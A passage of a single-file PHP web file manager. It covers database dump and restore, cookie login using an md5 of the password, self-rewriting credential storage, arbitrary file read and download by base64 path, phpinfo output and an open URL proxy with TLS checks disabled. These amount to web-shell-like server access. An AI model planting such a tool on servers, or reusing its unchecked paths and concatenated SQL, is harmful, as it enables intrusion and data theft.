		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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